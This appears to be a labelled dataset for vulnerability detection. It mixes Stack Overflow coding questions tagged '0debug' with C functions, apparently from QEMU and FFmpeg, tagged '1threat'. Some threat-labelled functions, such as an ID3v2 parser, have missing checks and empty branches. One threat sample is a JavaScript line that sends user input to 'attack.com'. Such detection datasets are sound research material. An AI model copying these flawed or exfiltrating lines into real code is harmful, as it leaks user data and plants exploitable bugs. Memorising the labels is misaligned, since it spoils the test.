How to remove the last comma in comma separated prime numbers within a range in C? : I have the code for finding prime numbers within a range. The problem is to remove the last comma. #include<stdio.h> int main() { int a,b,i,x,c,f=1; scanf("%d%d",&a,&b); for(x=a;x<=b;(x++,f=0)) { for(i=2;i<x;i++) { if(x%i==0) { f=1; } } if(f==0) printf("%d,",x); } } But the output contains an extra comma in the last. For example > 2,3,5,7, whereas the expected output is > 2,3,5,7
0debug
How to run code after a delay in Xamarin Android : <p>I'm trying to show some code after a delay in my Android app.<br> The Java code for doing this is something like this: </p> <pre><code>new Handler().postDelayed(new Runnable() { @Override public void run() { // your code that you want to delay here } }, 1000/* 1000ms = 1sec delay */); </code></pre> <p>How do I do this in Xamarin.Android with C#?</p>
0debug
Select to End/Beginning of Line in Visual Studio Code : <p>In most editors (including Visual Studio proper), I can use Shift+End to select all of the text from the cursor location to the end of the current line, and Shift+Home to select all text up to the beginning of the line.</p> <p>These shortcuts don't seem to work out-of-the box (at least, on the Mac version). Is there some way to enable this, perhaps with a plugin or a setting I'm missing?</p>
0debug
How do I prevent my page to reload or refresh on submitting the html form (textarea) on a button click? Please help me out. Thank you. : Here is the form------> <form method="post"> <label class="left margin-left-10">Involve in discussion</label> <br> <textarea name="chat" placeholder="Write.." cols="20" wrap="soft" maxlength="1000" class="left"></textarea> <button name="sendmsg" class="background-none text-white background-primary-hightlight text-s-size-12">Send</button> <form>
0debug
static void omap_uwire_write(void *opaque, target_phys_addr_t addr, uint64_t value, unsigned size) { struct omap_uwire_s *s = (struct omap_uwire_s *) opaque; int offset = addr & OMAP_MPUI_REG_MASK; if (size != 2) { return omap_badwidth_write16(opaque, addr, value); } switch (offset) { case 0x00: s->txbuf = value; if ((s->setup[4] & (1 << 2)) && ((s->setup[4] & (1 << 3)) || (s->control & (1 << 12)))) { s->control |= 1 << 14; omap_uwire_transfer_start(s); } break; case 0x04: s->control = value & 0x1fff; if (value & (1 << 13)) omap_uwire_transfer_start(s); break; case 0x08: s->setup[0] = value & 0x003f; break; case 0x0c: s->setup[1] = value & 0x0fc0; break; case 0x10: s->setup[2] = value & 0x0003; break; case 0x14: s->setup[3] = value & 0x0001; break; case 0x18: s->setup[4] = value & 0x000f; break; default: OMAP_BAD_REG(addr); return; } }
1threat
iscsi_aio_discard(BlockDriverState *bs, int64_t sector_num, int nb_sectors, BlockDriverCompletionFunc *cb, void *opaque) { IscsiLun *iscsilun = bs->opaque; struct iscsi_context *iscsi = iscsilun->iscsi; IscsiAIOCB *acb; struct unmap_list list[1]; acb = qemu_aio_get(&iscsi_aiocb_info, bs, cb, opaque); acb->iscsilun = iscsilun; acb->canceled = 0; acb->bh = NULL; acb->status = -EINPROGRESS; acb->buf = NULL; list[0].lba = sector_qemu2lun(sector_num, iscsilun); list[0].num = nb_sectors * BDRV_SECTOR_SIZE / iscsilun->block_size; acb->task = iscsi_unmap_task(iscsi, iscsilun->lun, 0, 0, &list[0], 1, iscsi_unmap_cb, acb); if (acb->task == NULL) { error_report("iSCSI: Failed to send unmap command. %s", iscsi_get_error(iscsi)); qemu_aio_release(acb); return NULL; } iscsi_set_events(iscsilun); return &acb->common; }
1threat
why cant i get the input through scanf on this program?apparently program is skipping all scanf lines? : why this program doesnt take input ? #include<stdio.h> struct student{ int rollno; char name[10]; float marks; }; struct student s; void main() { scanf("\n enter roll no \t %d",&s.rollno); printf("enter name"); scanf("\n name is \t %s",s.name); printf("enter marks"); scanf("\n marks are \t %f",&s.marks); printf("\n s actually are %d \t %s \t %d",s.rollno, s.name , s.marks); getch(); }
0debug
PPC_OP(setlr) { regs->lr = PARAM1; RETURN(); }
1threat
Plot an ellipse with python 2.7 knowing the equation Ax^2 + Bxy + Cy^2 + Dx +Ey = 1 : I have this equation, which define an ellipse. 7.91x^2 + -0.213xy + 5.46y^2 -0.031x -0.0896y = 1 Of the general form: `Ax^2 + Bxy + Cy^2 + Dx +Ey = 1` Can you give a script to simply plot it ? I am using python 2.7 -- pythonxy Thanks !
0debug
No module named tensorflow in jupyter : <p>I have some imports in my jupyter notebook and among them is tensorflow:</p> <pre><code>ImportError Traceback (most recent call last) &lt;ipython-input-2-482704985f85&gt; in &lt;module&gt;() 4 import numpy as np 5 import six.moves.copyreg as copyreg ----&gt; 6 import tensorflow as tf 7 from six.moves import cPickle as pickle 8 from six.moves import range ImportError: No module named tensorflow </code></pre> <p>I have it on my computer, in a special enviroment and all connected stuff also:</p> <pre><code>Requirement already satisfied (use --upgrade to upgrade): tensorflow in /Users/mac/anaconda/envs/tensorflow/lib/python2.7/site-packages Requirement already satisfied (use --upgrade to upgrade): six&gt;=1.10.0 in /Users/mac/anaconda/envs/tensorflow/lib/python2.7/site-packages (from tensorflow) Requirement already satisfied (use --upgrade to upgrade): protobuf==3.0.0b2 in /Users/mac/anaconda/envs/tensorflow/lib/python2.7/site-packages (from tensorflow) Requirement already satisfied (use --upgrade to upgrade): numpy&gt;=1.10.1 in /Users/mac/anaconda/envs/tensorflow/lib/python2.7/site-packages (from tensorflow) Requirement already satisfied (use --upgrade to upgrade): wheel in /Users/mac/anaconda/envs/tensorflow/lib/python2.7/site-packages (from tensorflow) Requirement already satisfied (use --upgrade to upgrade): setuptools in ./setuptools-23.0.0-py2.7.egg (from protobuf==3.0.0b2-&gt;tensorflow) </code></pre> <p>I can import tensorflow on my computer:</p> <pre><code>&gt;&gt;&gt; import tensorflow as tf &gt;&gt;&gt; </code></pre> <p>So I'm confused why this is another situation in notebook?</p>
0debug
Endienness conversion between Little and Big : <p>does java have a function to make a direct conversion between Little and BigEndien?</p>
0debug
BlockDeviceInfo *bdrv_block_device_info(BlockDriverState *bs, Error **errp) { ImageInfo **p_image_info; BlockDriverState *bs0; BlockDeviceInfo *info = g_malloc0(sizeof(*info)); info->file = g_strdup(bs->filename); info->ro = bs->read_only; info->drv = g_strdup(bs->drv->format_name); info->encrypted = bs->encrypted; info->encryption_key_missing = bdrv_key_required(bs); info->cache = g_new(BlockdevCacheInfo, 1); *info->cache = (BlockdevCacheInfo) { .writeback = bdrv_enable_write_cache(bs), .direct = !!(bs->open_flags & BDRV_O_NOCACHE), .no_flush = !!(bs->open_flags & BDRV_O_NO_FLUSH), }; if (bs->node_name[0]) { info->has_node_name = true; info->node_name = g_strdup(bs->node_name); } if (bs->backing_file[0]) { info->has_backing_file = true; info->backing_file = g_strdup(bs->backing_file); } info->backing_file_depth = bdrv_get_backing_file_depth(bs); info->detect_zeroes = bs->detect_zeroes; if (bs->io_limits_enabled) { ThrottleConfig cfg; throttle_group_get_config(bs, &cfg); info->bps = cfg.buckets[THROTTLE_BPS_TOTAL].avg; info->bps_rd = cfg.buckets[THROTTLE_BPS_READ].avg; info->bps_wr = cfg.buckets[THROTTLE_BPS_WRITE].avg; info->iops = cfg.buckets[THROTTLE_OPS_TOTAL].avg; info->iops_rd = cfg.buckets[THROTTLE_OPS_READ].avg; info->iops_wr = cfg.buckets[THROTTLE_OPS_WRITE].avg; info->has_bps_max = cfg.buckets[THROTTLE_BPS_TOTAL].max; info->bps_max = cfg.buckets[THROTTLE_BPS_TOTAL].max; info->has_bps_rd_max = cfg.buckets[THROTTLE_BPS_READ].max; info->bps_rd_max = cfg.buckets[THROTTLE_BPS_READ].max; info->has_bps_wr_max = cfg.buckets[THROTTLE_BPS_WRITE].max; info->bps_wr_max = cfg.buckets[THROTTLE_BPS_WRITE].max; info->has_iops_max = cfg.buckets[THROTTLE_OPS_TOTAL].max; info->iops_max = cfg.buckets[THROTTLE_OPS_TOTAL].max; info->has_iops_rd_max = cfg.buckets[THROTTLE_OPS_READ].max; info->iops_rd_max = cfg.buckets[THROTTLE_OPS_READ].max; info->has_iops_wr_max = cfg.buckets[THROTTLE_OPS_WRITE].max; info->iops_wr_max = cfg.buckets[THROTTLE_OPS_WRITE].max; info->has_iops_size = cfg.op_size; info->iops_size = cfg.op_size; info->has_group = true; info->group = g_strdup(throttle_group_get_name(bs)); } info->write_threshold = bdrv_write_threshold_get(bs); bs0 = bs; p_image_info = &info->image; while (1) { Error *local_err = NULL; bdrv_query_image_info(bs0, p_image_info, &local_err); if (local_err) { error_propagate(errp, local_err); qapi_free_BlockDeviceInfo(info); return NULL; } if (bs0->drv && bs0->backing) { bs0 = bs0->backing->bs; (*p_image_info)->has_backing_image = true; p_image_info = &((*p_image_info)->backing_image); } else { break; } } return info; }
1threat
Is it possible to make Key Counter in Python? : <p>I want to make a key counter in Python. For example: If I click "a" it will print "1", if I clicked next key it will print "2" ...</p> <p>Can I make it in pygame? </p>
0debug
static inline float32 ucf64_itos(uint32_t i) { union { uint32_t i; float32 s; } v; v.i = i; return v.s; }
1threat
static void process_command(GAState *s, QDict *req) { QObject *rsp = NULL; int ret; g_assert(req); g_debug("processing command"); rsp = qmp_dispatch(QOBJECT(req)); if (rsp) { ret = send_response(s, rsp); if (ret) { g_warning("error sending response: %s", strerror(ret)); } qobject_decref(rsp); } else { g_warning("error getting response"); } }
1threat
static int avi_read_idx1(AVFormatContext *s, int size) { AVIContext *avi = s->priv_data; AVIOContext *pb = s->pb; int nb_index_entries, i; AVStream *st; AVIStream *ast; unsigned int index, tag, flags, pos, len, first_packet = 1; unsigned last_pos= -1; int64_t idx1_pos, first_packet_pos = 0, data_offset = 0; nb_index_entries = size / 16; if (nb_index_entries <= 0) return -1; idx1_pos = avio_tell(pb); avio_seek(pb, avi->movi_list+4, SEEK_SET); if (avi_sync(s, 1) == 0) { first_packet_pos = avio_tell(pb) - 8; } avi->stream_index = -1; avio_seek(pb, idx1_pos, SEEK_SET); for(i = 0; i < nb_index_entries; i++) { tag = avio_rl32(pb); flags = avio_rl32(pb); pos = avio_rl32(pb); len = avio_rl32(pb); av_dlog(s, "%d: tag=0x%x flags=0x%x pos=0x%x len=%d/", i, tag, flags, pos, len); index = ((tag & 0xff) - '0') * 10; index += ((tag >> 8) & 0xff) - '0'; if (index >= s->nb_streams) continue; st = s->streams[index]; ast = st->priv_data; if(first_packet && first_packet_pos && len) { data_offset = first_packet_pos - pos; first_packet = 0; } pos += data_offset; av_dlog(s, "%d cum_len=%"PRId64"\n", len, ast->cum_len); if(url_feof(pb)) return -1; if(last_pos == pos) avi->non_interleaved= 1; else if(len || !ast->sample_size) av_add_index_entry(st, pos, ast->cum_len, len, 0, (flags&AVIIF_INDEX) ? AVINDEX_KEYFRAME : 0); ast->cum_len += get_duration(ast, len); last_pos= pos; } return 0; }
1threat
How to return a Boolean from @ReactMethod in React Native? : <p>I want to return a Boolean from @ReactMethod in reactNative Android application.</p> <p>But when I make method similar to </p> <pre><code>@ReactMethod public boolean retBoolean() { return true; } </code></pre> <p>and call it from JS component ,it returns undefined. only when return type is void function gets called ,I am not able to return string or boolean.</p>
0debug
import re regex = '^[aeiouAEIOU][A-Za-z0-9_]*' def check_str(string): if(re.search(regex, string)): return ("Valid") else: return ("Invalid")
0debug
PHP CSS table page number position problems : I have a problem with page numbers showing in footer on table here is my PHP CODE <tfoot> <tr> <th colspan="5">Page</th> <?php $sql = "SELECT COUNT(ID) AS total FROM Settings"; $result = $conn->query($sql); $row = $result->fetch_assoc(); $total_pages = ceil($row["total"] / $results_per_page); // calculate total pages with results for ($i=1; $i<=$total_pages; $i++) { // print links for all pages echo "<th> <a href='example.php?page=".$i."'"; if ($i==$page) echo " class='curPage' </th>"; echo ">".$i."</a> </th>"; }; ?> </tr> </tfoot> <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-css --> <style type="text/css"> body { font-size: 15px; color: #343d44; font-family: "segoe-ui", "open-sans", tahoma, arial; padding: 0; margin: 0; } table { margin: auto; font-family: "Lucida Sans Unicode", "Lucida Grande", "Segoe Ui"; font-size: 12px; } h1 { margin: 25px auto 0; text-align: center; text-transform: uppercase; font-size: 17px; } table td { transition: all .5s; } /* Table */ .data-table { border-collapse: collapse; font-size: 14px; min-width: 537px; } .data-table th, .data-table td { border: 1px solid #e1edff; padding: 7px 4px; } .data-table caption { margin: 7px; } /* Table Header */ .data-table thead th { background-color: #508abb; color: #FFFFFF; border-color: #6ea1cc !important; text-transform: uppercase; } /* Table Body */ .data-table tbody td { color: #353535; } .data-table tbody td:first-child, .data-table tbody td:nth-child(4), .data-table tbody td:last-child { text-align: right; } .data-table tbody tr:nth-child(odd) td { background-color: #f4fbff; } .data-table tbody tr:hover td { background-color: #ffffa2; border-color: #ffff0f; } /* Table Footer */ .data-table tfoot th { background-color: #e5f5ff; text-align: right; } .data-table tfoot th:first-child { text-align: left; } .data-table tbody td:empty { background-color: #ffcccc; } </style> <!-- end snippet --> [Here is image what it s look:][1] [1]: https://i.stack.imgur.com/am1lK.png Ok now my question is How to Make this right? How to fit all pages numbers to end of table footer? Thanks for advices
0debug
Error: evaluation nested too deeply: infinite recursion / options(expressions=)? in R on Mac : <pre><code>sum &lt;- function(data){ sum(data) } median &lt;- function(data){ median(data) } floor &lt;- function(data){ floor(data) } evaluate &lt;- function(func, dat){ func(dat) } </code></pre> <p>This is my code. The goal I want to achieve are as followings </p> <ol> <li><p>evaluate(sum, c(2, 4, 6)) should evaluate to 12;</p></li> <li><p>evaluate(median, c(7, 40, 9)) should evaluate to 9;</p></li> <li>evaluate(floor, 11.1) should evaluate to 11;</li> </ol> <p>But I always got the error as below</p> <pre><code>Error: evaluation nested too deeply: infinite recursion / options(expressions=)? Error during wrapup: evaluation nested too deeply: infinite recursion / options(expressions=)? </code></pre>
0debug
Removing ActionBar : <p>I'm looking forward to removing the ActionBar of a certain activity by changing the styles name value to Theme.AppCompat.Light.NoActionBar,but all that's doing is making the ActionBar disappear across all other Activities.Please Help!</p>
0debug
Template and std::sort : I have this: template <typename T1, typename T2> struct coords { T1 x; T2 y; }; std::vector<coords<int, int>> pixels; and i want to sort each value pair of coords seperately using std::sort or any other function that can handle it. As a workaround I thought of copying each value of the pair in seperate vectors, and then use std::sort on it and finally copy the result back into coords. Just wanted to know if there is a more efficient way.
0debug
static int dca_parse(AVCodecParserContext *s, AVCodecContext *avctx, const uint8_t **poutbuf, int *poutbuf_size, const uint8_t *buf, int buf_size) { DCAParseContext *pc1 = s->priv_data; ParseContext *pc = &pc1->pc; int next, duration, sample_rate; if (s->flags & PARSER_FLAG_COMPLETE_FRAMES) { next = buf_size; } else { next = dca_find_frame_end(pc1, buf, buf_size); if (ff_combine_frame(pc, next, &buf, &buf_size) < 0) { *poutbuf = NULL; *poutbuf_size = 0; return buf_size; } } if (!dca_parse_params(buf, buf_size, &duration, &sample_rate, &pc1->framesize)) { s->duration = duration; avctx->sample_rate = sample_rate; } else s->duration = 0; *poutbuf = buf; *poutbuf_size = buf_size; return next; }
1threat
void palette8torgb32(const uint8_t *src, uint8_t *dst, long num_pixels, const uint8_t *palette) { long i; for(i=0; i<num_pixels; i++) { #ifdef WORDS_BIGENDIAN dst[3]= palette[ src[i]*4+2 ]; dst[2]= palette[ src[i]*4+1 ]; dst[1]= palette[ src[i]*4+0 ]; #else dst[0]= palette[ src[i]*4+2 ]; dst[1]= palette[ src[i]*4+1 ]; dst[2]= palette[ src[i]*4+0 ]; #endif dst+= 4; } }
1threat
How to send text to other user in same app : <p>Guys.. I am developing an app based on 20 questions concept. i need to send Question as text to other user and other user will respond to that Question in yes or No by pressing yes No button.. This must be online app and questions and answers history will be stored in database on server.. kindly help me i have no clue how to do this this is my final year project my whole degree depends on it.. any suggestions any API any builtin functions??</p> <pre><code>broadcast() </code></pre> <p>will work or not?</p>
0debug
optiminzing the query and export : below code gives the result but it take 5 min's to execute, after which I need export data to text. there are 12 lakhs records and it does not get export even after 9 hours. could you please help in optimizing the query and improving the execution performance and also help in getting export faster. I can not use offset and fetch in SQL developer. I use SQL DEVELPER. with NAGP As (select Company_common_id,PROFILECLASSVALUE from (select /* + PARALLEL( gp, 20)*/ co.Company_common_id, gp.PROFILECLASSVALUE,rank() over (partition by co.Company_common_id order by co.commit_date desc) RK from stg_cmat.cmat_sync_ref co, stg_cmat.cmat_enrich_ref gp where gp.transaction_id=co.transaction_id and co.event='ENRICHMENT' and gp.profilename='EnrichmentProfile'and gp.PROFILECLASSNAME='NAGP ID') where RK =1),cte2 as(select EC.system_serial_number,EC.cmat_customer_id EC_cmat_customer_id,EC.system_status EC_system_status,(select .PROFILECLASSVALUE from NAGP n where n.Company_common_id = EC.cmat_customer_id and rownum=1) EC_NAGP_ID,SN.cmat_customer_id SN_cmat_customer_id,SN.system_status SN_system_status,(select n.PROFILECLASSVALUE from NAGP n where n.Company_common_id = SN.cmat_customer_id and rownum=1) SN_NAGP_ID from (select a.system_serial_number, a.role_id, a.cmat_customer_id, s.system_status from EIM.eim_latest_sys_party_role a, eim.eim_system s where a.system_serial_number = s.system_serial_number (+) and a.role_id =1) EC, (select a.system_serial_number, a.role_id, a.cmat_customer_id, s.system_status rom EIM.eim_latest_sys_party_role a, eim.eim_system s where a.system_serial_number = s.system_serial_number (+) and a.role_id =19) SN where EC.system_serial_number=SN.system_serial_number) select ec_system_status,count(decode ec_system_status, '0',system_serial_number,0))as ec_countofnum,sn_system_status, count(decode(sn_system_status, '0',system_serial_number,0))as SN_countofnum from cte2 GROUP BY ec_system_status,sn_system_status
0debug
VSCode format curly brackets on the same line c# : <p>When using the Format Document command I'd like to change how the code formats. I'm completely new to VSCode and I'm still having trouble navigating the settings, so easy to understand replies would be very helpful. Currently the code is formatting like this:</p> <pre><code>void start () { //Do stuff here } </code></pre> <p>I want it to look like:</p> <pre><code>void start () { //Do stuff here } </code></pre>
0debug
How can i pass values using .html(data) on javascript? : On javascript i have the following code: if (id == 'Log') { $('#fileList').html(data); Depending by the ID, i open a new html page. The problem is i need the ID even on the other html page. How can i pass the id to the other page?
0debug
Output in SVG format : <p>Does anyone have examples of how to output in SVG format? I did a search on the boards and didn't get anything to return.</p> <p>My output contest numbers.</p> <p>I'd like to write string of numbers, like 1,2,3 on a middle of page.</p>
0debug
int ff_spatial_idwt_init2(DWTContext *d, IDWTELEM *buffer, int width, int height, int stride, enum dwt_type type, int decomposition_count, IDWTELEM *temp) { int level; d->buffer = buffer; d->width = width; d->height = height; d->stride = stride; d->decomposition_count = decomposition_count; d->temp = temp + 8; for(level=decomposition_count-1; level>=0; level--){ int hl = height >> level; int stride_l = stride << level; switch(type){ case DWT_DIRAC_DD9_7: spatial_compose_dd97i_init(d->cs+level, buffer, hl, stride_l); break; case DWT_DIRAC_LEGALL5_3: spatial_compose53i_init2(d->cs+level, buffer, hl, stride_l); break; case DWT_DIRAC_DD13_7: spatial_compose_dd137i_init(d->cs+level, buffer, hl, stride_l); break; case DWT_DIRAC_HAAR0: case DWT_DIRAC_HAAR1: d->cs[level].y = 1; break; case DWT_DIRAC_DAUB9_7: spatial_compose97i_init2(d->cs+level, buffer, hl, stride_l); break; default: d->cs[level].y = 0; break; } } switch (type) { case DWT_DIRAC_DD9_7: d->spatial_compose = spatial_compose_dd97i_dy; d->vertical_compose_l0 = (void*)vertical_compose53iL0; d->vertical_compose_h0 = (void*)vertical_compose_dd97iH0; d->horizontal_compose = horizontal_compose_dd97i; d->support = 7; break; case DWT_DIRAC_LEGALL5_3: d->spatial_compose = spatial_compose_dirac53i_dy; d->vertical_compose_l0 = (void*)vertical_compose53iL0; d->vertical_compose_h0 = (void*)vertical_compose_dirac53iH0; d->horizontal_compose = horizontal_compose_dirac53i; d->support = 3; break; case DWT_DIRAC_DD13_7: d->spatial_compose = spatial_compose_dd137i_dy; d->vertical_compose_l0 = (void*)vertical_compose_dd137iL0; d->vertical_compose_h0 = (void*)vertical_compose_dd97iH0; d->horizontal_compose = horizontal_compose_dd137i; d->support = 7; break; case DWT_DIRAC_HAAR0: case DWT_DIRAC_HAAR1: d->spatial_compose = spatial_compose_haari_dy; d->vertical_compose = (void*)vertical_compose_haar; if (type == DWT_DIRAC_HAAR0) d->horizontal_compose = horizontal_compose_haar0i; else d->horizontal_compose = horizontal_compose_haar1i; d->support = 1; break; case DWT_DIRAC_FIDELITY: d->spatial_compose = spatial_compose_fidelity; d->vertical_compose_l0 = (void*)vertical_compose_fidelityiL0; d->vertical_compose_h0 = (void*)vertical_compose_fidelityiH0; d->horizontal_compose = horizontal_compose_fidelityi; break; case DWT_DIRAC_DAUB9_7: d->spatial_compose = spatial_compose_daub97i_dy; d->vertical_compose_l0 = (void*)vertical_compose_daub97iL0; d->vertical_compose_h0 = (void*)vertical_compose_daub97iH0; d->vertical_compose_l1 = (void*)vertical_compose_daub97iL1; d->vertical_compose_h1 = (void*)vertical_compose_daub97iH1; d->horizontal_compose = horizontal_compose_daub97i; d->support = 5; break; default: av_log(NULL, AV_LOG_ERROR, "Unknown wavelet type %d\n", type); return -1; } if (HAVE_MMX) ff_spatial_idwt_init_mmx(d, type); return 0; }
1threat
Unable to align background color in html and css : I am a beginner to website design and development and also learning it. As a beginner i creating a site which is old bbc news website from the following archive link http://web.archive.org/web/20140402131524/http://www.bbc.co.uk/news/uk so i am stcked at watch/listen part the backgroun color orange to link which is below the video is aligning to the right side of it according to my code following is my code... ***HTML*** <html> <head> <title>Untitled Document</title> </head> <body> <div class="watch"> <img src="http://s9.tinypic.com/2hd45fp_th.jpg" id="WatchListenlogo"/> <span class="watchhead">Watch/Listen</span> <img src="http://s9.tinypic.com/35c03yr_th.jpg" id="rightarrow"/> <div id="videoa"> <img src="http://s9.tinypic.com/j64ufl_th.jpg"/> <a href="">Titanic letter could fetch &pound; 100,000</a> </div> </div> </body> </html> ***CSS*** <style type="text/css"> body{ margin:0; line-height:15px; } .watch{ position:relative; top:50px; right:50px; color:#505050; line-height:24px; background-color:#eeeeee; float:right; width:336px; } #videoa{ float:left; background-color:#d1700e; position:relative; top:-84px; left:25px; } #videoa a{ float:left; color:white; position:relative; top:2px; left:5px; } .watchhead{ font-size:24px; font-weight:bolder; position:relative; top:10px; left:8px; } #WatchListenlogo{ float:right; position:relative; top:22px; right:10px; } #rightarrow{ float:left; border-right:solid white 1px; position:relative; top:40px; } a{ text-decoration:none; } a:hover{ text-decoration:underline; } </style>
0debug
static void ff_id3v2_parse(AVFormatContext *s, int len, uint8_t version, uint8_t flags) { int isv34, unsync; unsigned tlen; char tag[5]; int64_t next, end = avio_tell(s->pb) + len; int taghdrlen; const char *reason = NULL; AVIOContext pb; unsigned char *buffer = NULL; int buffer_size = 0; switch (version) { case 2: if (flags & 0x40) { reason = "compression"; goto error; } isv34 = 0; taghdrlen = 6; case 3: case 4: isv34 = 1; taghdrlen = 10; default: reason = "version"; goto error; } unsync = flags & 0x80; if (isv34 && flags & 0x40) avio_skip(s->pb, get_size(s->pb, 4)); while (len >= taghdrlen) { unsigned int tflags; int tunsync = 0; if (isv34) { avio_read(s->pb, tag, 4); tag[4] = 0; if(version==3){ tlen = avio_rb32(s->pb); }else tlen = get_size(s->pb, 4); tflags = avio_rb16(s->pb); tunsync = tflags & ID3v2_FLAG_UNSYNCH; } else { avio_read(s->pb, tag, 3); tag[3] = 0; tlen = avio_rb24(s->pb); } if (tlen > (1<<28)) len -= taghdrlen + tlen; if (len < 0) next = avio_tell(s->pb) + tlen; if (tflags & ID3v2_FLAG_DATALEN) { avio_rb32(s->pb); tlen -= 4; } if (tflags & (ID3v2_FLAG_ENCRYPTION | ID3v2_FLAG_COMPRESSION)) { av_log(s, AV_LOG_WARNING, "Skipping encrypted/compressed ID3v2 frame %s.\n", tag); avio_skip(s->pb, tlen); } else if (tag[0] == 'T') { if (unsync || tunsync) { int i, j; av_fast_malloc(&buffer, &buffer_size, tlen); for (i = 0, j = 0; i < tlen; i++, j++) { buffer[j] = avio_r8(s->pb); if (j > 0 && !buffer[j] && buffer[j - 1] == 0xff) { j--; } } ffio_init_context(&pb, buffer, j, 0, NULL, NULL, NULL, NULL); read_ttag(s, &pb, j, tag); } else { read_ttag(s, s->pb, tlen, tag); } } else if (!tag[0]) { if (tag[1]) av_log(s, AV_LOG_WARNING, "invalid frame id, assuming padding"); avio_skip(s->pb, tlen); } avio_seek(s->pb, next, SEEK_SET); } if (version == 4 && flags & 0x10) end += 10; error: if (reason) av_log(s, AV_LOG_INFO, "ID3v2.%d tag skipped, cannot handle %s\n", version, reason); avio_seek(s->pb, end, SEEK_SET); av_free(buffer); return; }
1threat
window.location.href = 'http://attack.com?user=' + user_input;
1threat
Web apps without HTML or Javascript using WebAssembly and Dart? : <p>With the introduction of WebAssembly (<a href="https://webassembly.org/" rel="nofollow noreferrer">https://webassembly.org/</a>) it will be possible to run a web app in a web browser by using Dart without using Javascript and HTML at all?</p>
0debug